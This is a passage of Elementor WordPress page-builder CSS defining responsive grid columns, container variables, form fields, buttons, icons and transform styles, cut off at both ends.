.elementor-grid-widescreen-7 .elementor-grid { grid-template-columns: repeat(7, 1fr); } .elementor-grid-widescreen-8 .elementor-grid { grid-template-columns: repeat(8, 1fr); } .elementor-grid-widescreen-9 .elementor-grid { grid-template-columns: repeat(9, 1fr); } .elementor-grid-widescreen-10 .elementor-grid { grid-template-columns: repeat(10, 1fr); } .elementor-grid-widescreen-11 .elementor-grid { grid-template-columns: repeat(11, 1fr); } .elementor-grid-widescreen-12 .elementor-grid { grid-template-columns: repeat(12, 1fr); } } @media (max-width: -1) { .elementor-grid-laptop-0 .elementor-grid { display: inline-block; width: 100%; word-spacing: var(--grid-column-gap); margin-bottom: calc(-1 * var(--grid-row-gap)); } .elementor-grid-laptop-0 .elementor-grid .elementor-grid-item { display: inline-block; margin-bottom: var(--grid-row-gap); word-break: break-word; } .elementor-grid-laptop-1 .elementor-grid { grid-template-columns: repeat(1, 1fr); } .elementor-grid-laptop-2 .elementor-grid { grid-template-columns: repeat(2, 1fr); } .elementor-grid-laptop-3 .elementor-grid { grid-template-columns: repeat(3, 1fr); } .elementor-grid-laptop-4 .elementor-grid { grid-template-columns: repeat(4, 1fr); } .elementor-grid-laptop-5 .elementor-grid { grid-template-columns: repeat(5, 1fr); } .elementor-grid-laptop-6 .elementor-grid { grid-template-columns: repeat(6, 1fr); } .elementor-grid-laptop-7 .elementor-grid { grid-template-columns: repeat(7, 1fr); } .elementor-grid-laptop-8 .elementor-grid { grid-template-columns: repeat(8, 1fr); } .elementor-grid-laptop-9 .elementor-grid { grid-template-columns: repeat(9, 1fr); } .elementor-grid-laptop-10 .elementor-grid { grid-template-columns: repeat(10, 1fr); } .elementor-grid-laptop-11 .elementor-grid { grid-template-columns: repeat(11, 1fr); } .elementor-grid-laptop-12 .elementor-grid { grid-template-columns: repeat(12, 1fr); } } @media (max-width: -1) { .elementor-grid-tablet_extra-0 .elementor-grid { display: inline-block; width: 100%; word-spacing: var(--grid-column-gap); margin-bottom: calc(-1 * var(--grid-row-gap)); } .elementor-grid-tablet_extra-0 .elementor-grid .elementor-grid-item { display: inline-block; margin-bottom: var(--grid-row-gap); word-break: break-word; } .elementor-grid-tablet_extra-1 .elementor-grid { grid-template-columns: repeat(1, 1fr); } .elementor-grid-tablet_extra-2 .elementor-grid { grid-template-columns: repeat(2, 1fr); } .elementor-grid-tablet_extra-3 .elementor-grid { grid-template-columns: repeat(3, 1fr); } .elementor-grid-tablet_extra-4 .elementor-grid { grid-template-columns: repeat(4, 1fr); } .elementor-grid-tablet_extra-5 .elementor-grid { grid-template-columns: repeat(5, 1fr); } .elementor-grid-tablet_extra-6 .elementor-grid { grid-template-columns: repeat(6, 1fr); } .elementor-grid-tablet_extra-7 .elementor-grid { grid-template-columns: repeat(7, 1fr); } .elementor-grid-tablet_extra-8 .elementor-grid { grid-template-columns: repeat(8, 1fr); } .elementor-grid-tablet_extra-9 .elementor-grid { grid-template-columns: repeat(9, 1fr); } .elementor-grid-tablet_extra-10 .elementor-grid { grid-template-columns: repeat(10, 1fr); } .elementor-grid-tablet_extra-11 .elementor-grid { grid-template-columns: repeat(11, 1fr); } .elementor-grid-tablet_extra-12 .elementor-grid { grid-template-columns: repeat(12, 1fr); } } @media (max-width: 1024px) { .elementor-grid-tablet-0 .elementor-grid { display: inline-block; width: 100%; word-spacing: var(--grid-column-gap); margin-bottom: calc(-1 * var(--grid-row-gap)); } .elementor-grid-tablet-0 .elementor-grid .elementor-grid-item { display: inline-block; margin-bottom: var(--grid-row-gap); word-break: break-word; } .elementor-grid-tablet-1 .elementor-grid { grid-template-columns: repeat(1, 1fr); } .elementor-grid-tablet-2 .elementor-grid { grid-template-columns: repeat(2, 1fr); } .elementor-grid-tablet-3 .elementor-grid { grid-template-columns: repeat(3, 1fr); } .elementor-grid-tablet-4 .elementor-grid { grid-template-columns: repeat(4, 1fr); } .elementor-grid-tablet-5 .elementor-grid { grid-template-columns: repeat(5, 1fr); } .elementor-grid-tablet-6 .elementor-grid { grid-template-columns: repeat(6, 1fr); } .elementor-grid-tablet-7 .elementor-grid { grid-template-columns: repeat(7, 1fr); } .elementor-grid-tablet-8 .elementor-grid { grid-template-columns: repeat(8, 1fr); } .elementor-grid-tablet-9 .elementor-grid { grid-template-columns: repeat(9, 1fr); } .elementor-grid-tablet-10 .elementor-grid { grid-template-columns: repeat(10, 1fr); } .elementor-grid-tablet-11 .elementor-grid { grid-template-columns: repeat(11, 1fr); } .elementor-grid-tablet-12 .elementor-grid { grid-template-columns: repeat(12, 1fr); } } @media (max-width: -1) { .elementor-grid-mobile_extra-0 .elementor-grid { display: inline-block; width: 100%; word-spacing: var(--grid-column-gap); margin-bottom: calc(-1 * var(--grid-row-gap)); } .elementor-grid-mobile_extra-0 .elementor-grid .elementor-grid-item { display: inline-block; margin-bottom: var(--grid-row-gap); word-break: break-word; } .elementor-grid-mobile_extra-1 .elementor-grid { grid-template-columns: repeat(1, 1fr); } .elementor-grid-mobile_extra-2 .elementor-grid { grid-template-columns: repeat(2, 1fr); } .elementor-grid-mobile_extra-3 .elementor-grid { grid-template-columns: repeat(3, 1fr); } .elementor-grid-mobile_extra-4 .elementor-grid { grid-template-columns: repeat(4, 1fr); } .elementor-grid-mobile_extra-5 .elementor-grid { grid-template-columns: repeat(5, 1fr); } .elementor-grid-mobile_extra-6 .elementor-grid { grid-template-columns: repeat(6, 1fr); } .elementor-grid-mobile_extra-7 .elementor-grid { grid-template-columns: repeat(7, 1fr); } .elementor-grid-mobile_extra-8 .elementor-grid { grid-template-columns: repeat(8, 1fr); } .elementor-grid-mobile_extra-9 .elementor-grid { grid-template-columns: repeat(9, 1fr); } .elementor-grid-mobile_extra-10 .elementor-grid { grid-template-columns: repeat(10, 1fr); } .elementor-grid-mobile_extra-11 .elementor-grid { grid-template-columns: repeat(11, 1fr); } .elementor-grid-mobile_extra-12 .elementor-grid { grid-template-columns: repeat(12, 1fr); } } @media (max-width: 767px) { .elementor-grid-mobile-0 .elementor-grid { display: inline-block; width: 100%; word-spacing: var(--grid-column-gap); margin-bottom: calc(-1 * var(--grid-row-gap)); } .elementor-grid-mobile-0 .elementor-grid .elementor-grid-item { display: inline-block; margin-bottom: var(--grid-row-gap); word-break: break-word; } .elementor-grid-mobile-1 .elementor-grid { grid-template-columns: repeat(1, 1fr); } .elementor-grid-mobile-2 .elementor-grid { grid-template-columns: repeat(2, 1fr); } .elementor-grid-mobile-3 .elementor-grid { grid-template-columns: repeat(3, 1fr); } .elementor-grid-mobile-4 .elementor-grid { grid-template-columns: repeat(4, 1fr); } .elementor-grid-mobile-5 .elementor-grid { grid-template-columns: repeat(5, 1fr); } .elementor-grid-mobile-6 .elementor-grid { grid-template-columns: repeat(6, 1fr); } .elementor-grid-mobile-7 .elementor-grid { grid-template-columns: repeat(7, 1fr); } .elementor-grid-mobile-8 .elementor-grid { grid-template-columns: repeat(8, 1fr); } .elementor-grid-mobile-9 .elementor-grid { grid-template-columns: repeat(9, 1fr); } .elementor-grid-mobile-10 .elementor-grid { grid-template-columns: repeat(10, 1fr); } .elementor-grid-mobile-11 .elementor-grid { grid-template-columns: repeat(11, 1fr); } .elementor-grid-mobile-12 .elementor-grid { grid-template-columns: repeat(12, 1fr); } } @media (min-width: 1025px) { #elementor-device-mode:after { content: "desktop"; } } @media (min-width: -1) { #elementor-device-mode:after { content: "widescreen"; } } @media (max-width: -1) { #elementor-device-mode:after { content: "laptop"; } } @media (max-width: -1) { #elementor-device-mode:after { content: "tablet_extra"; } } @media (max-width: 1024px) { #elementor-device-mode:after { content: "tablet"; } } @media (max-width: -1) { #elementor-device-mode:after { content: "mobile_extra"; } } @media (max-width: 767px) { #elementor-device-mode:after { content: "mobile"; } } .e-con { --border-radius: 0; --border-top-width: 0px; --border-right-width: 0px; --border-bottom-width: 0px; --border-left-width: 0px; --border-style: initial; --border-color: initial; --container-widget-width: 100%; --container-widget-height: initial; --container-widget-flex-grow: 0; --container-widget-align-self: initial; --content-width: min(100%, var(--container-max-width, 1140px)); --width: 100%; --min-height: initial; --height: auto; --text-align: initial; --margin-top: 0px; --margin-right: 0px; --margin-bottom: 0px; --margin-left: 0px; --padding-top: var(--container-default-padding-top, 10px); --padding-right: var(--container-default-padding-right, 10px); --padding-bottom: var(--container-default-padding-bottom, 10px); --padding-left: var(--container-default-padding-left, 10px); --position: relative; --z-index: revert; --overflow: visible; --gap: var(--widgets-spacing, 20px); --overlay-mix-blend-mode: initial; --overlay-opacity: 1; --overlay-transition: 0.3s; --e-con-grid-template-columns: repeat(3, 1fr); --e-con-grid-template-rows: repeat(2, 1fr); position: var(--position); width: var(--width); min-width: 0; min-height: var(--min-height); height: var(--height); border-radius: var(--border-radius); z-index: var(--z-index); overflow: var(--overflow); transition: background var(--background-transition, 0.3s), border var(--border-transition, 0.3s), box-shadow var(--border-transition, 0.3s), transform var(--e-con-transform-transition-duration, 0.4s); --flex-wrap-mobile: wrap; margin-block-start: var(--margin-block-start); margin-inline-end: var(--margin-inline-end); margin-block-end: var(--margin-block-end); margin-inline-start: var(--margin-inline-start); padding-inline-start: var(--padding-inline-start); padding-inline-end: var(--padding-inline-end); } .e-con { --margin-block-start: var(--margin-top); --margin-block-end: var(--margin-bottom); --margin-inline-start: var(--margin-left); --margin-inline-end: var(--margin-right); --padding-inline-start: var(--padding-left); --padding-inline-end: var(--padding-right); --padding-block-start: var(--padding-top); --padding-block-end: var(--padding-bottom); --border-block-start-width: var(--border-top-width); --border-block-end-width: var(--border-bottom-width); --border-inline-start-width: var(--border-left-width); --border-inline-end-width: var(--border-right-width); } body.rtl .e-con { --padding-inline-start: var(--padding-right); --padding-inline-end: var(--padding-left); --margin-inline-start: var(--margin-right); --margin-inline-end: var(--margin-left); --border-inline-start-width: var(--border-right-width); --border-inline-end-width: var(--border-left-width); } .e-con.e-flex { --flex-direction: column; --flex-basis: auto; --flex-grow: 0; --flex-shrink: 1; flex: var(--flex-grow) var(--flex-shrink) var(--flex-basis); } .e-con-full, .e-con > .e-con-inner { text-align: var(--text-align); padding-block-start: var(--padding-block-start); padding-block-end: var(--padding-block-end); } .e-con-full.e-flex, .e-con.e-flex > .e-con-inner { flex-direction: var(--flex-direction); } .e-con, .e-con > .e-con-inner { display: var(--display); } .e-con.e-grid { --grid-justify-content: start; --grid-align-content: start; --grid-auto-flow: row; } .e-con.e-grid, .e-con.e-grid > .e-con-inner { grid-template-columns: var(--e-con-grid-template-columns); grid-template-rows: var(--e-con-grid-template-rows); justify-content: var(--grid-justify-content); align-content: var(--grid-align-content); grid-auto-flow: var(--grid-auto-flow); justify-items: var(--justify-items); align-items: var(--align-items); } .e-con-boxed.e-flex { flex-direction: column; flex-wrap: initial; justify-content: initial; align-items: initial; align-content: initial; } .e-con-boxed.e-grid { justify-items: initial; grid-template-columns: 1fr; grid-template-rows: 1fr; } .e-con-boxed { text-align: initial; gap: initial; } .e-con.e-flex > .e-con-inner { flex-wrap: var(--flex-wrap); justify-content: var(--justify-content); align-items: var(--align-items); align-content: var(--align-content); flex-basis: initial; flex-grow: 1; flex-shrink: initial; align-self: initial; } .e-con.e-grid > .e-con-inner { justify-items: var(--justify-items); align-items: var(--align-items); } .e-con > .e-con-inner { gap: var(--gap); width: 100%; max-width: var(--content-width); margin: 0 auto; padding-inline-start: 0; padding-inline-end: 0; height: 100%; } :is(.elementor-section-wrap, [data-elementor-id]) > .e-con { --margin-left: auto; --margin-right: auto; max-width: min(100%, var(--width)); } .e-con .elementor-widget.elementor-widget { margin-block-end: 0; } .e-con::before, :is(.e-con, .e-con > .e-con-inner) > .elementor-background-video-container::before, .e-con > .elementor-motion-effects-container > .elementor-motion-effects-layer::before, .e-con > .elementor-background-slideshow::before { content: var(--background-overlay); display: block; position: absolute; mix-blend-mode: var(--overlay-mix-blend-mode); opacity: var(--overlay-opacity); transition: var(--overlay-transition, 0.3s); border-radius: var(--border-radius); border-style: var(--border-style); border-color: var(--border-color); border-block-start-width: var(--border-block-start-width); border-inline-end-width: var(--border-inline-end-width); border-block-end-width: var(--border-block-end-width); border-inline-start-width: var(--border-inline-start-width); top: calc(0px - var(--border-top-width)); left: calc(0px - var(--border-left-width)); width: max(100% + var(--border-left-width) + var(--border-right-width), 100%); height: max(100% + var(--border-top-width) + var(--border-bottom-width), 100%); } .e-con::before { transition: background var(--overlay-transition, 0.3s), border-radius var(--border-transition, 0.3s), opacity var(--overlay-transition, 0.3s); } .e-con > .elementor-background-slideshow, :is(.e-con, .e-con > .e-con-inner) > .elementor-background-video-container { border-radius: var(--border-radius); border-style: var(--border-style); border-color: var(--border-color); border-block-start-width: var(--border-block-start-width); border-inline-end-width: var(--border-inline-end-width); border-block-end-width: var(--border-block-end-width); border-inline-start-width: var(--border-inline-start-width); top: calc(0px - var(--border-top-width)); left: calc(0px - var(--border-left-width)); width: max(100% + var(--border-left-width) + var(--border-right-width), 100%); height: max(100% + var(--border-top-width) + var(--border-bottom-width), 100%); } @media (max-width: 767px) { :is(.e-con, .e-con > .e-con-inner) > .elementor-background-video-container.elementor-hidden-phone { display: none; } } :is(.e-con, .e-con > .e-con-inner) > .elementor-background-video-container::before { z-index: 1; } :is(.e-con, .e-con > .e-con-inner) > .elementor-background-slideshow::before { z-index: 2; } .e-con .elementor-widget { min-width: 0; } .e-con .elementor-widget-video, .e-con .elementor-widget-google_maps, .e-con .elementor-widget-empty { width: 100%; } .e-con .elementor-widget.e-widget-swiper { width: 100%; } .e-con > .elementor-widget > .elementor-widget-container, .e-con > .e-con-inner > .elementor-widget > .elementor-widget-container { height: 100%; } .elementor.elementor .e-con > .elementor-widget, .e-con.e-con > .e-con-inner > .elementor-widget { max-width: 100%; } @media (max-width: 767px) { .e-con.e-flex { --width: 100%; --flex-wrap: var(--flex-wrap-mobile); } } .elementor-form-fields-wrapper { display: flex; flex-wrap: wrap; } .elementor-form-fields-wrapper.elementor-labels-above .elementor-field-group > input, .elementor-form-fields-wrapper.elementor-labels-above .elementor-field-group > textarea, .elementor-form-fields-wrapper.elementor-labels-above .elementor-field-group > .elementor-select-wrapper, .elementor-form-fields-wrapper.elementor-labels-above .elementor-field-group .elementor-field-subgroup { flex-basis: 100%; max-width: 100%; } .elementor-form-fields-wrapper.elementor-labels-inline > .elementor-field-group > input, .elementor-form-fields-wrapper.elementor-labels-inline > .elementor-field-group .elementor-select-wrapper { flex-grow: 1; } .elementor-field-group { flex-wrap: wrap; align-items: center; } .elementor-field-group.elementor-field-type-submit { align-items: flex-end; } .elementor-field-group .elementor-field-textual { width: 100%; max-width: 100%; border: 1px solid #69727D; background-color: transparent; color: #1f2124; vertical-align: middle; flex-grow: 1; } .elementor-field-group .elementor-field-textual:focus { box-shadow: 0 0 0 1px rgba(0, 0, 0, 0.1) inset; outline: 0; } .elementor-field-group .elementor-field-textual::-moz-placeholder { color: inherit; font-family: inherit; opacity: 0.6; } .elementor-field-group .elementor-field-textual::placeholder { color: inherit; font-family: inherit; opacity: 0.6; } .elementor-field-group .elementor-select-wrapper { display: flex; position: relative; width: 100%; } .elementor-field-group .elementor-select-wrapper select { -webkit-appearance: none; -moz-appearance: none; appearance: none; color: inherit; font-size: inherit; font-family: inherit; font-weight: inherit; font-style: inherit; text-transform: inherit; letter-spacing: inherit; line-height: inherit; flex-basis: 100%; padding-inline-end: 20px; } .elementor-field-group .elementor-select-wrapper:before { content: "\e92a"; font-family: "eicons"; font-size: 15px; position: absolute; top: 50%; transform: translateY(-50%); right: 10px; pointer-events: none; text-shadow: 0 0 3px rgba(0, 0, 0, 0.3); } .elementor-field-group.elementor-field-type-select-multiple .elementor-select-wrapper:before { content: ""; } .elementor-field-subgroup { display: flex; flex-wrap: wrap; } .elementor-field-subgroup .elementor-field-option label { display: inline-block; } .elementor-field-subgroup.elementor-subgroup-inline .elementor-field-option { padding-inline-end: 10px; } .elementor-field-subgroup:not(.elementor-subgroup-inline) .elementor-field-option { flex-basis: 100%; } .elementor-field-type-checkbox .elementor-field-subgroup .elementor-field-option input, .elementor-field-type-checkbox .elementor-field-subgroup .elementor-field-option label, .elementor-field-type-radio .elementor-field-subgroup .elementor-field-option input, .elementor-field-type-radio .elementor-field-subgroup .elementor-field-option label, .elementor-field-type-acceptance .elementor-field-subgroup .elementor-field-option input, .elementor-field-type-acceptance .elementor-field-subgroup .elementor-field-option label { display: inline; } .elementor-field-label { cursor: pointer; } .elementor-mark-required .elementor-field-label:after { content: "*"; color: red; padding-inline-start: 0.2em; } .elementor-field-textual { line-height: 1.4; font-size: 15px; min-height: 40px; padding: 5px 14px; border-radius: 3px; } .elementor-field-textual.elementor-size-xs { font-size: 13px; min-height: 33px; padding: 4px 12px; border-radius: 2px; } .elementor-field-textual.elementor-size-md { font-size: 16px; min-height: 47px; padding: 6px 16px; border-radius: 4px; } .elementor-field-textual.elementor-size-lg { font-size: 18px; min-height: 59px; padding: 7px 20px; border-radius: 5px; } .elementor-field-textual.elementor-size-xl { font-size: 20px; min-height: 72px; padding: 8px 24px; border-radius: 6px; } .elementor-button-align-stretch .elementor-field-type-submit:not(.e-form__buttons__wrapper) .elementor-button { flex-basis: 100%; } .elementor-button-align-stretch .e-form__buttons__wrapper { flex-basis: 50%; flex-grow: 1; } .elementor-button-align-stretch .e-form__buttons__wrapper__button { flex-basis: 100%; } .elementor-button-align-center .elementor-field-type-submit, .elementor-button-align-center .e-form__buttons { justify-content: center; } .elementor-button-align-start .elementor-field-type-submit, .elementor-button-align-start .e-form__buttons { justify-content: flex-start; } .elementor-button-align-end .elementor-field-type-submit, .elementor-button-align-end .e-form__buttons { justify-content: flex-end; } .elementor-button-align-center .elementor-field-type-submit:not(.e-form__buttons__wrapper) .elementor-button, .elementor-button-align-start .elementor-field-type-submit:not(.e-form__buttons__wrapper) .elementor-button, .elementor-button-align-end .elementor-field-type-submit:not(.e-form__buttons__wrapper) .elementor-button { flex-basis: initial; } .elementor-button-align-center .e-form__buttons__wrapper, .elementor-button-align-start .e-form__buttons__wrapper, .elementor-button-align-end .e-form__buttons__wrapper { flex-grow: initial; } .elementor-button-align-center .e-form__buttons__wrapper, .elementor-button-align-center .e-form__buttons__wrapper__button, .elementor-button-align-start .e-form__buttons__wrapper, .elementor-button-align-start .e-form__buttons__wrapper__button, .elementor-button-align-end .e-form__buttons__wrapper, .elementor-button-align-end .e-form__buttons__wrapper__button { flex-basis: initial; } @media screen and (max-width: 1024px) { .elementor-tablet-button-align-stretch .elementor-field-type-submit:not(.e-form__buttons__wrapper) .elementor-button { flex-basis: 100%; } .elementor-tablet-button-align-stretch .e-form__buttons__wrapper { flex-basis: 50%; flex-grow: 1; } .elementor-tablet-button-align-stretch .e-form__buttons__wrapper__button { flex-basis: 100%; } .elementor-tablet-button-align-center .elementor-field-type-submit, .elementor-tablet-button-align-center .e-form__buttons { justify-content: center; } .elementor-tablet-button-align-start .elementor-field-type-submit, .elementor-tablet-button-align-start .e-form__buttons { justify-content: flex-start; } .elementor-tablet-button-align-end .elementor-field-type-submit, .elementor-tablet-button-align-end .e-form__buttons { justify-content: flex-end; } .elementor-tablet-button-align-center .elementor-field-type-submit:not(.e-form__buttons__wrapper) .elementor-button, .elementor-tablet-button-align-start .elementor-field-type-submit:not(.e-form__buttons__wrapper) .elementor-button, .elementor-tablet-button-align-end .elementor-field-type-submit:not(.e-form__buttons__wrapper) .elementor-button { flex-basis: initial; } .elementor-tablet-button-align-center .e-form__buttons__wrapper, .elementor-tablet-button-align-start .e-form__buttons__wrapper, .elementor-tablet-button-align-end .e-form__buttons__wrapper { flex-grow: initial; } .elementor-tablet-button-align-center .e-form__buttons__wrapper, .elementor-tablet-button-align-center .e-form__buttons__wrapper__button, .elementor-tablet-button-align-start .e-form__buttons__wrapper, .elementor-tablet-button-align-start .e-form__buttons__wrapper__button, .elementor-tablet-button-align-end .e-form__buttons__wrapper, .elementor-tablet-button-align-end .e-form__buttons__wrapper__button { flex-basis: initial; } } @media screen and (max-width: 767px) { .elementor-mobile-button-align-stretch .elementor-field-type-submit:not(.e-form__buttons__wrapper) .elementor-button { flex-basis: 100%; } .elementor-mobile-button-align-stretch .e-form__buttons__wrapper { flex-basis: 50%; flex-grow: 1; } .elementor-mobile-button-align-stretch .e-form__buttons__wrapper__button { flex-basis: 100%; } .elementor-mobile-button-align-center .elementor-field-type-submit, .elementor-mobile-button-align-center .e-form__buttons { justify-content: center; } .elementor-mobile-button-align-start .elementor-field-type-submit, .elementor-mobile-button-align-start .e-form__buttons { justify-content: flex-start; } .elementor-mobile-button-align-end .elementor-field-type-submit, .elementor-mobile-button-align-end .e-form__buttons { justify-content: flex-end; } .elementor-mobile-button-align-center .elementor-field-type-submit:not(.e-form__buttons__wrapper) .elementor-button, .elementor-mobile-button-align-start .elementor-field-type-submit:not(.e-form__buttons__wrapper) .elementor-button, .elementor-mobile-button-align-end .elementor-field-type-submit:not(.e-form__buttons__wrapper) .elementor-button { flex-basis: initial; } .elementor-mobile-button-align-center .e-form__buttons__wrapper, .elementor-mobile-button-align-start .e-form__buttons__wrapper, .elementor-mobile-button-align-end .e-form__buttons__wrapper { flex-grow: initial; } .elementor-mobile-button-align-center .e-form__buttons__wrapper, .elementor-mobile-button-align-center .e-form__buttons__wrapper__button, .elementor-mobile-button-align-start .e-form__buttons__wrapper, .elementor-mobile-button-align-start .e-form__buttons__wrapper__button, .elementor-mobile-button-align-end .e-form__buttons__wrapper, .elementor-mobile-button-align-end .e-form__buttons__wrapper__button { flex-basis: initial; } } .elementor-error .elementor-field { border-color: #d9534f; } .elementor-error .help-inline { color: #d9534f; font-size: 0.9em; } .elementor-message { margin: 10px 0; font-size: 1em; line-height: 1; } .elementor-message:before { content: "\e90e"; display: inline-block; font-family: eicons; font-weight: normal; font-style: normal; vertical-align: middle; margin-inline-end: 5px; } .elementor-message.elementor-message-danger { color: #d9534f; } .elementor-message.elementor-message-danger:before { content: "\e87f"; } .elementor-message.form-message-success { color: #5cb85c; } .elementor-form .elementor-button { padding-block-start: 0; padding-block-end: 0; border: none; } .elementor-form .elementor-button > span, .elementor-form .elementor-button-content-wrapper { display: flex; justify-content: center; flex-direction: row; gap: 5px; } .elementor-form .elementor-button.elementor-size-xs { min-height: 33px; } .elementor-form .elementor-button.elementor-size-sm { min-height: 40px; } .elementor-form .elementor-button.elementor-size-md { min-height: 47px; } .elementor-form .elementor-button.elementor-size-lg { min-height: 59px; } .elementor-form .elementor-button.elementor-size-xl { min-height: 72px; } .elementor-element .elementor-widget-container { transition: background 0.3s, border 0.3s, border-radius 0.3s, box-shadow 0.3s, transform var(--e-transform-transition-duration, 400ms); } .elementor-heading-title { padding: 0; margin: 0; line-height: 1; } .elementor-button { display: inline-block; line-height: 1; background-color: #69727D; font-size: 15px; padding: 12px 24px; border-radius: 3px; color: #fff; fill: #fff; text-align: center; transition: all 0.3s; } .elementor-button:hover, .elementor-button:focus, .elementor-button:visited { color: #fff; } .elementor-button-content-wrapper { display: flex; justify-content: center; flex-direction: row; gap: 5px; } .elementor-button-icon svg { width: 1em; height: auto; } .elementor-button-icon .e-font-icon-svg { height: 1em; } .elementor-button-text { display: inline-block; } .elementor-button.elementor-size-xs { font-size: 13px; padding: 10px 20px; border-radius: 2px; } .elementor-button.elementor-size-md { font-size: 16px; padding: 15px 30px; border-radius: 4px; } .elementor-button.elementor-size-lg { font-size: 18px; padding: 20px 40px; border-radius: 5px; } .elementor-button.elementor-size-xl { font-size: 20px; padding: 25px 50px; border-radius: 6px; } .elementor-button span { text-decoration: inherit; } .elementor-element.elementor-button-info .elementor-button { background-color: #5bc0de; } .elementor-element.elementor-button-success .elementor-button { background-color: #5cb85c; } .elementor-element.elementor-button-warning .elementor-button { background-color: #f0ad4e; } .elementor-element.elementor-button-danger .elementor-button { background-color: #d9534f; } .elementor-widget-button .elementor-button .elementor-button-info { background-color: #5bc0de; } .elementor-widget-button .elementor-button .elementor-button-success { background-color: #5cb85c; } .elementor-widget-button .elementor-button .elementor-button-warning { background-color: #f0ad4e; } .elementor-widget-button .elementor-button .elementor-button-danger { background-color: #d9534f; } .elementor-tab-title a { color: inherit; } .elementor-view-stacked .elementor-icon { padding: 0.5em; background-color: #69727D; color: #fff; fill: #fff; } .elementor-view-framed .elementor-icon { padding: 0.5em; color: #69727D; border: 3px solid #69727D; background-color: transparent; } .elementor-icon { display: inline-block; line-height: 1; transition: all 0.3s; color: #69727D; font-size: 50px; text-align: center; } .elementor-icon:hover { color: #69727D; } .elementor-icon i, .elementor-icon svg { width: 1em; height: 1em; position: relative; display: block; } .elementor-icon i:before, .elementor-icon svg:before { position: absolute; left: 50%; transform: translateX(-50%); } .elementor-icon i.fad { width: initial; } .elementor-shape-square .elementor-icon { border-radius: 0; } .elementor-shape-rounded .elementor-icon { border-radius: 10%; } .elementor-shape-circle .elementor-icon { border-radius: 50%; } .e-transform .elementor-widget-container { transform: perspective(var(--e-transform-perspective, 0)) rotateZ(var(--e-transform-rotateZ, 0)) rotateX(var(--e-transform-rotateX, 0)) rotateY(var(--e-transform-rotateY, 0)) translate(var(--e-transform-translate, 0)) translateX(var(--e-transform-translateX, 0)) translateY(var(--e-transform-translateY, 0)) scaleX(calc(var(--e-transform-flipX, 1) * var(--e-transform-scaleX, var(--e-transform-scale, 1)))) scaleY(calc(var(--e-transform-flipY, 1) * var(--e-transform-scaleY, var(--e-transform-scale, 1)))) skewX(var(--e-transform-skewX, 0)) skewY(var(--e-transform-skewY, 0)); transform-origin: var(--e-transform-origin-y) var(--e-transform-origin-x); } .e-con.e-transform { transform: perspective(var(--e-con-transform-perspective, 0)) rotateZ(var(--e-con-transform-rotateZ, 0)) rotateX(var(--e-con-transform-rotateX, 0)) rotateY(var(--e-con-transform-rotateY, 0)) translate(var(--e-con-transform-translate, 0)) translateX(var(--e-con-transform-translateX, 0)) translateY(var(--e-con-transform-translateY, 0)) scaleX(calc(var(--e-con-transform-flipX, 1) * var(--e-con-transform-scaleX, var(--e-con-transform-scale, 1)))) scaleY(calc(var(--e-con-transform-flipY, 1) * var(--e-con-transform-scaleY, var(--e-con-transform-scale, 1)))) skewX(var(--e-con-transform-skewX, 0)) skewY(var(--e-con-transform-skewY, 0)); transform-origin: var(--e-con-transform-origin-y) var(--e-con-transform-origin-x); } .animated { animation-duration: 1.25s; } .animated.animated-slow { animation-duration: 2s; } .animated.animated-fast { animation-duration: 0.75s; } .animated.infinite { animation-iteration-count: infinite; } .animated.reverse { animation-direction: reverse; animation-fill-mode: forwards; } @media (prefers-reduced-motion: reduce) { .animated { animation: none; } } .page-template-elementor_canvas.elementor-page:before { display: none; } .elementor-post__thumbnail__link { transition: none; } #left-area ul.elementor-icon-list-items, .elementor .elementor-element ul.elementor-icon-list-items, .elementor-edit-area .elementor-element ul.elementor-icon-list-items { padding: 0; } .e--ua-appleWebkit.rtl { --flex-right: flex-start; } .e--ua-appleWebkit .elementor-widget-social-icons.e-grid-align-right, .e--ua-appleWebkit .elementor-share-buttons--align-right { --justify-content: var(--flex-right, flex-end); } .e--ua-appleWebkit .elementor-widget-social-icons.e-grid-align-center, .e--ua-appleWebkit .elementor-share-buttons--align-center { --justify-content: center; } .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-right .elementor-grid, .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-center .elementor-grid, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-right .elementor-grid, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-center .elementor-grid, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-justify .elementor-grid { width: auto; display: flex; flex-wrap: wrap; justify-content: var(--justify-content, space-between); margin-left: calc(-0.5 * var(--grid-column-gap)); margin-right: calc(-0.5 * var(--grid-column-gap)); } .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-right .elementor-grid-item, .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-center .elementor-grid-item, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-right .elementor-grid-item, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-center .elementor-grid-item, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-justify .elementor-grid-item { margin-left: calc(0.5 * var(--grid-column-gap)); margin-right: calc(0.5 * var(--grid-column-gap)); } .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-left .elementor-grid, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-left .elementor-grid { display: inline-block; } .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-left .elementor-grid, .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-left .elementor-grid-item, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-left .elementor-grid, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-left .elementor-grid-item { margin-left: 0; margin-right: 0; } @media (max-width: 1024px) { .e--ua-appleWebkit .elementor-widget-social-icons.e-grid-align-tablet-right, .e--ua-appleWebkit .elementor-share-buttons-tablet--align-right { --justify-content: var(--flex-right, flex-end); } .e--ua-appleWebkit .elementor-widget-social-icons.e-grid-align-tablet-center, .e--ua-appleWebkit .elementor-share-buttons-tablet--align-center { --justify-content: center; } .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-tablet-right .elementor-grid, .e--ua-appleWebkit .elementor-grid-0.elementor-widget-social-icons.e-grid-align-tablet-center .elementor-grid, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-tablet-right .elementor-grid, .e--ua-appleWebkit .elementor-grid-0.elementor-share-buttons--align-tablet-center .elementor-grid, .e--ua-appleWebkit 